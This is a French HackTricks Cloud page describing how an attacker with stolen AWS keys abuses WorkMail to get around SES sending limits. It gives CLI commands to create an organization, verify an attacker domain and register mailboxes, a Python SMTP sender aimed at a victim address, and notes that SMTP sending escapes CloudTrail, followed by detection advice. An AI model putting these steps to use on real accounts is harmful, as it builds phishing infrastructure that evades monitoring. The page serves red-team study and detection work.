AWS - WorkMail Post Exploitation
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le đŹ Discord group ou le telegram group ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
Abuser WorkMail pour contourner le sandbox de SES
MĂȘme si SES est bloquĂ© dans le sandbox (destinataires vĂ©rifiĂ©s uniquement, ~200 msgs/24h, 1 msg/s), WorkMail nâa pas de restriction Ă©quivalente. Un attaquant disposant de clĂ©s Ă long terme peut dĂ©ployer une infra mail jetable et commencer Ă envoyer immĂ©diatement :
- Créer une organisation WorkMail (limitée par région)
aws workmail create-organization --region us-east-1 --alias temp-mail --directory-id <dir-id-if-reusing>
- VĂ©rifier des domaines contrĂŽlĂ©s par lâattaquant (WorkMail invoque les APIs SES en tant que
workmail.amazonaws.com):
aws ses verify-domain-identity --domain attacker-domain.com
aws ses verify-domain-dkim --domain attacker-domain.com
- Créer des utilisateurs de boßte mail et les enregistrer :
aws workmail create-user --organization-id <org-id> --name marketing --display-name "Marketing"
aws workmail register-to-work-mail --organization-id <org-id> --entity-id <user-id> --email marketing@attacker-domain.com
Notes :
- Plafond par défaut de destinataires documenté par AWS : 100,000 destinataires externes/jour par org (agrégés entre les utilisateurs).
- LâactivitĂ© de vĂ©rification de domaine apparaĂźtra dans CloudTrail sous SES mais avec
invokedBy:workmail.<region>.amazonaws.com, donc les Ă©vĂ©nements de vĂ©rification SES peuvent appartenir Ă une configuration WorkMail plutĂŽt quâĂ des campagnes SES. - Les utilisateurs de boĂźte mail WorkMail deviennent une application-layer persistence indĂ©pendante des utilisateurs IAM.
Chemins dâenvoi et lacunes de tĂ©lĂ©mĂ©trie
Client Web (WorkMail UI)
- Les envois apparaissent comme des événements
ses:SendRawEmaildans CloudTrail. userIdentity.type=AWSService,invokedBy/sourceIPAddress/userAgent=workmail.<region>.amazonaws.com, donc la vraie IP client est masquĂ©e.requestParametersleak toujours lâexpĂ©diteur (source,fromArn,sourceArn, configuration set) pour corrĂ©ler avec les domaines/boĂźtes mail nouvellement vĂ©rifiĂ©s.
SMTP (le plus furtif)
- Point de terminaison :
smtp.mail.<region>.awsapps.com:465(SMTP over SSL) avec le mot de passe de la boĂźte mail. - Aucun Ă©vĂ©nement de donnĂ©es CloudTrail nâest gĂ©nĂ©rĂ© pour la livraison SMTP, mĂȘme lorsque les Ă©vĂ©nements de donnĂ©es SES sont activĂ©s.
- Les points de dĂ©tection idĂ©aux sont le provisionnement dâorg/domain/user et les ARNs dâidentitĂ© SES rĂ©fĂ©rencĂ©s dans les Ă©vĂ©nements
SendRawEmailenvoyés via le web.
Exemple d'envoi SMTP via WorkMail
```python import smtplib from email.message import EmailMessageSMTP_SERVER = âsmtp.mail.us-east-1.awsapps.comâ SMTP_PORT = 465 EMAIL_ADDRESS = âmarketing@attacker-domain.comâ EMAIL_PASSWORD = âSuperSecretPassword!â
target = âvictim@example.comâ # can be unverified/external msg = EmailMessage() msg[âSubjectâ] = âWorkMail SMTPâ msg[âFromâ] = EMAIL_ADDRESS msg[âToâ] = target msg.set_content(âDelivered via WorkMail SMTPâ)
with smtplib.SMTP_SSL(SMTP_SERVER, SMTP_PORT) as smtp: smtp.login(EMAIL_ADDRESS, EMAIL_PASSWORD) smtp.send_message(msg)
</details>
## Considérations de détection
- Si WorkMail n'est pas nécessaire, bloquez-le via des **SCPs** (`workmail:*` deny) au niveau de l'organisation.
- Alerter lors du provisionnement : `workmail:CreateOrganization`, `workmail:CreateUser`, `workmail:RegisterToWorkMail`, et les vérifications SES avec `invokedBy=workmail.amazonaws.com` (`ses:VerifyDomainIdentity`, `ses:VerifyDomainDkim`).
- Surveillez les Ă©vĂ©nements **`ses:SendRawEmail`** anormaux oĂč les ARNs d'identitĂ© rĂ©fĂ©rencent de nouveaux domaines et oĂč l'IP source/UA est Ă©gale Ă `workmail.<region>.amazonaws.com`.
## Références
- [Threat Actors Using AWS WorkMail in Phishing Campaigns](https://www.rapid7.com/blog/post/dr-threat-actors-aws-workmail-phishing-campaigns)
- [AWS WorkMail limits](https://docs.aws.amazon.com/workmail/latest/adminguide/limits.html)
> [!TIP]
> Apprenez & pratiquez AWS Hacking:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://hacktricks-training.com/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Apprenez & pratiquez GCP Hacking: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://hacktricks-training.com/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Apprenez & pratiquez Az Hacking: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://hacktricks-training.com/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>Soutenez HackTricks</summary>
>
> - Consultez les [**subscription plans**](https://github.com/sponsors/carlospolop)!
> - **Rejoignez le** đŹ [**Discord group**](https://discord.gg/hRep4RUj7f) ou le [**telegram group**](https://t.me/peass) ou **suivez-nous** sur **Twitter** đŠ [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Partagez des hacking tricks en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
>
> </details>
HackTricks Cloud

